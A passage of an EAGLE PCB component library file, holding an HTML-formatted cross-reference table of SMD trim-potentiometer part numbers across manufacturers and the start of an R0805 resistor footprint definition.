T93XA&lt;BR&gt;\n      T93YB&lt;BR&gt;\n      T93XB&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      8026EKP&lt;BR&gt;\n      8026EKW&lt;BR&gt;\n      8026EKM&lt;BR&gt;\n      8026EKP&lt;BR&gt;\n      8026EKB&lt;BR&gt;\n      8026EKM&lt;BR&gt;\n      1309X&lt;BR&gt;\n      1309P&lt;BR&gt;\n      1309W&lt;BR&gt;\n      8024EKP&lt;BR&gt;\n      8024EKW&lt;BR&gt;\n      8024EKN&lt;BR&gt;\n      RJ-9P/CT9P&lt;BR&gt;\n      RJ-9W&lt;BR&gt;\n      RJ-9X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3103P&lt;BR&gt;\n      3103Y&lt;BR&gt;\n      3103Z&lt;BR&gt;\n      3103P&lt;BR&gt;\n      3103Y&lt;BR&gt;\n      3103Z&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3105P/3106P&lt;BR&gt;\n      3105W/3106W&lt;BR&gt;\n      3105X/3106X&lt;BR&gt;\n      3105Y/3106Y&lt;BR&gt;\n      3105Z/3105Z&lt;BR&gt;\n      3102P&lt;BR&gt;\n      3102W&lt;BR&gt;\n      3102X&lt;BR&gt;\n      3102Y&lt;BR&gt;\n      3102Z&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMCBG&lt;BR&gt;\n      EVMCCG&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      55-1-X&lt;BR&gt;\n      55-4-X&lt;BR&gt;\n      55-3-X&lt;BR&gt;\n      55-2-X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      50-2-X&lt;BR&gt;\n      50-4-X&lt;BR&gt;\n      50-3-X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      64P&lt;BR&gt;\n      64W&lt;BR&gt;\n      64X&lt;BR&gt;\n      64Y&lt;BR&gt;\n      64Z&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      RT/RTR22&lt;BR&gt;\n      RT/RTR22&lt;BR&gt;\n      RT/RTR22&lt;BR&gt;\n      RT/RTR22&lt;BR&gt;\n      RJ/RJR22&lt;BR&gt;\n      RJ/RJR22&lt;BR&gt;\n      RJ/RJR22&lt;BR&gt;\n      RT/RTR26&lt;BR&gt;\n      RT/RTR26&lt;BR&gt;\n      RT/RTR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RT/RTR24&lt;BR&gt;\n      RT/RTR24&lt;BR&gt;\n      RT/RTR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;&amp;nbsp;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SINGLE TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MURATA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;SPECTROL&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MILSPEC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3323P&lt;BR&gt;\n      3323S&lt;BR&gt;\n      3323W&lt;BR&gt;\n      3329H&lt;BR&gt;\n      3329P&lt;BR&gt;\n      3329W&lt;BR&gt;\n      3339H&lt;BR&gt;\n      3339P&lt;BR&gt;\n      3339W&lt;BR&gt;\n      3352E&lt;BR&gt;\n      3352H&lt;BR&gt;\n      3352K&lt;BR&gt;\n      3352P&lt;BR&gt;\n      3352T&lt;BR&gt;\n      3352V&lt;BR&gt;\n      3352W&lt;BR&gt;\n      3362H&lt;BR&gt;\n      3362M&lt;BR&gt;\n      3362P&lt;BR&gt;\n      3362R&lt;BR&gt;\n      3362S&lt;BR&gt;\n      3362U&lt;BR&gt;\n      3362W&lt;BR&gt;\n      3362X&lt;BR&gt;\n      3386B&lt;BR&gt;\n      3386C&lt;BR&gt;\n      3386F&lt;BR&gt;\n      3386H&lt;BR&gt;\n      3386K&lt;BR&gt;\n      3386M&lt;BR&gt;\n      3386P&lt;BR&gt;\n      3386S&lt;BR&gt;\n      3386W&lt;BR&gt;\n      3386X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      25P&lt;BR&gt;\n      25S&lt;BR&gt;\n      25RX&lt;BR&gt;\n      82P&lt;BR&gt;\n      82M&lt;BR&gt;\n      82PA&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      91E&lt;BR&gt;\n      91X&lt;BR&gt;\n      91T&lt;BR&gt;\n      91B&lt;BR&gt;\n      91A&lt;BR&gt;\n      91V&lt;BR&gt;\n      91W&lt;BR&gt;\n      25W&lt;BR&gt;\n      25V&lt;BR&gt;\n      25P&lt;BR&gt;\n      -&lt;BR&gt;\n      25S&lt;BR&gt;\n      25U&lt;BR&gt;\n      25RX&lt;BR&gt;\n      25X&lt;BR&gt;\n      72XW&lt;BR&gt;\n      72XL&lt;BR&gt;\n      72PM&lt;BR&gt;\n      72RX&lt;BR&gt;\n      -&lt;BR&gt;\n      72PX&lt;BR&gt;\n      72P&lt;BR&gt;\n      72RXW&lt;BR&gt;\n      72RXL&lt;BR&gt;\n      72X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      T7YB&lt;BR&gt;\n      T7YA&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      TXD&lt;BR&gt;\n      TYA&lt;BR&gt;\n      TYP&lt;BR&gt;\n      -&lt;BR&gt;\n      TYD&lt;BR&gt;\n      TX&lt;BR&gt;\n      -&lt;BR&gt;\n      150SX&lt;BR&gt;\n      100SX&lt;BR&gt;\n      102T&lt;BR&gt;\n      101S&lt;BR&gt;\n      190T&lt;BR&gt;\n      150TX&lt;BR&gt;\n      101&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      101SX&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      ET6P&lt;BR&gt;\n      ET6S&lt;BR&gt;\n      ET6X&lt;BR&gt;\n      RJ-6W/8014EMW&lt;BR&gt;\n      RJ-6P/8014EMP&lt;BR&gt;\n      RJ-6X/8014EMX&lt;BR&gt;\n      TM7W&lt;BR&gt;\n      TM7P&lt;BR&gt;\n      TM7X&lt;BR&gt;\n      -&lt;BR&gt;\n      8017SMS&lt;BR&gt;\n      -&lt;BR&gt;\n      8017SMB&lt;BR&gt;\n      8017SMA&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      CT-6W&lt;BR&gt;\n      CT-6H&lt;BR&gt;\n      CT-6P&lt;BR&gt;\n      CT-6R&lt;BR&gt;\n      -&lt;BR&gt;\n      CT-6V&lt;BR&gt;\n      CT-6X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      8038EKV&lt;BR&gt;\n      -&lt;BR&gt;\n      8038EKX&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      8038EKP&lt;BR&gt;\n      8038EKZ&lt;BR&gt;\n      8038EKW&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3321H&lt;BR&gt;\n      3321P&lt;BR&gt;\n      3321N&lt;BR&gt;\n      1102H&lt;BR&gt;\n      1102P&lt;BR&gt;\n      1102T&lt;BR&gt;\n      RVA0911V304A&lt;BR&gt;\n      -&lt;BR&gt;\n      RVA0911H413A&lt;BR&gt;\n      RVG0707V100A&lt;BR&gt;\n      RVA0607V(H)306A&lt;BR&gt;\n      RVA1214H213A&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3104B&lt;BR&gt;\n      3104C&lt;BR&gt;\n      3104F&lt;BR&gt;\n      3104H&lt;BR&gt;\n      -&lt;BR&gt;\n      3104M&lt;BR&gt;\n      3104P&lt;BR&gt;\n      3104S&lt;BR&gt;\n      3104W&lt;BR&gt;\n      3104X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      EVMQ0G&lt;BR&gt;\n      EVMQIG&lt;BR&gt;\n      EVMQ3G&lt;BR&gt;\n      EVMS0G&lt;BR&gt;\n      EVMQ0G&lt;BR&gt;\n      EVMG0G&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMK4GA00B&lt;BR&gt;\n      EVM30GA00B&lt;BR&gt;\n      EVMK0GA00B&lt;BR&gt;\n      EVM38GA00B&lt;BR&gt;\n      EVMB6&lt;BR&gt;\n      EVLQ0&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMMSG&lt;BR&gt;\n      EVMMBG&lt;BR&gt;\n      EVMMAG&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMMCS&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMM1&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMM0&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMM3&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      62-3-1&lt;BR&gt;\n      62-1-2&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      67R&lt;BR&gt;\n      -&lt;BR&gt;\n      67P&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      67X&lt;BR&gt;\n      63V&lt;BR&gt;\n      63S&lt;BR&gt;\n      63M&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      63H&lt;BR&gt;\n      63P&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      63X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      RJ/RJR50&lt;BR&gt;\n      RJ/RJR50&lt;BR&gt;\n      RJ/RJR50&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n&lt;/TABLE&gt;\n&lt;P&gt;&amp;nbsp;&lt;P&gt;\n&lt;TABLE BORDER=0 CELLSPACING=1 CELLPADDING=3&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=7&gt;\n      &lt;FONT color=\"#0000FF\" SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SMD TRIM-POT CROSS REFERENCE&lt;/B&gt;&lt;/FONT&gt;\n      &lt;P&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;MULTI-TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURNS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;TOCOS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;AUX/KYOCERA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3224G&lt;BR&gt;\n      3224J&lt;BR&gt;\n      3224W&lt;BR&gt;\n      3269P&lt;BR&gt;\n      3269W&lt;BR&gt;\n      3269X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      44G&lt;BR&gt;\n      44J&lt;BR&gt;\n      44W&lt;BR&gt;\n      84P&lt;BR&gt;\n      84W&lt;BR&gt;\n      84X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      ST63Z&lt;BR&gt;\n      ST63Y&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      ST5P&lt;BR&gt;\n      ST5W&lt;BR&gt;\n      ST5X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=7&gt;&amp;nbsp;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=7&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SINGLE TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURNS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;TOCOS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;AUX/KYOCERA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3314G&lt;BR&gt;\n      3314J&lt;BR&gt;\n      3364A/B&lt;BR&gt;\n      3364C/D&lt;BR&gt;\n      3364W/X&lt;BR&gt;\n      3313G&lt;BR&gt;\n      3313J&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      23B&lt;BR&gt;\n      23A&lt;BR&gt;\n      21X&lt;BR&gt;\n      21W&lt;BR&gt;\n      -&lt;BR&gt;\n      22B&lt;BR&gt;\n      22A&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      ST5YL/ST53YL&lt;BR&gt;\n      ST5YJ/5T53YJ&lt;BR&gt;\n      ST-23A&lt;BR&gt;\n      ST-22B&lt;BR&gt;\n      ST-22&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      ST-4B&lt;BR&gt;\n      ST-4A&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      ST-3B&lt;BR&gt;\n      ST-3A&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      EVM-6YS&lt;BR&gt;\n      EVM-1E&lt;BR&gt;\n      EVM-1G&lt;BR&gt;\n      EVM-1D&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      G4B&lt;BR&gt;\n      G4A&lt;BR&gt;\n      TR04-3S1&lt;BR&gt;\n      TRG04-2S1&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      DVR-43A&lt;BR&gt;\n      CVR-42C&lt;BR&gt;\n      CVR-42A/C&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n&lt;/TABLE&gt;\n&lt;P&gt;\n&lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;ALT =&amp;nbsp;ALTERNATE&lt;/B&gt;&lt;/FONT&gt;\n&lt;P&gt;\n\n&amp;nbsp;\n&lt;P&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/table&gt;</description>\n<packages>\n<package name=\"R0805\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;</description>\n<wire x1=\"-0.41\" y1=\"0.635\" x2=\"0.41\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.41\" y1=\"-0.635\" x2=\"0.41\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.95\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.95\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"0.4064\" y1=\"-0.6985\" x2=\"1.0564\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-1.0668\" y1=\"-0.6985\" x2=\"-0.4168\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle 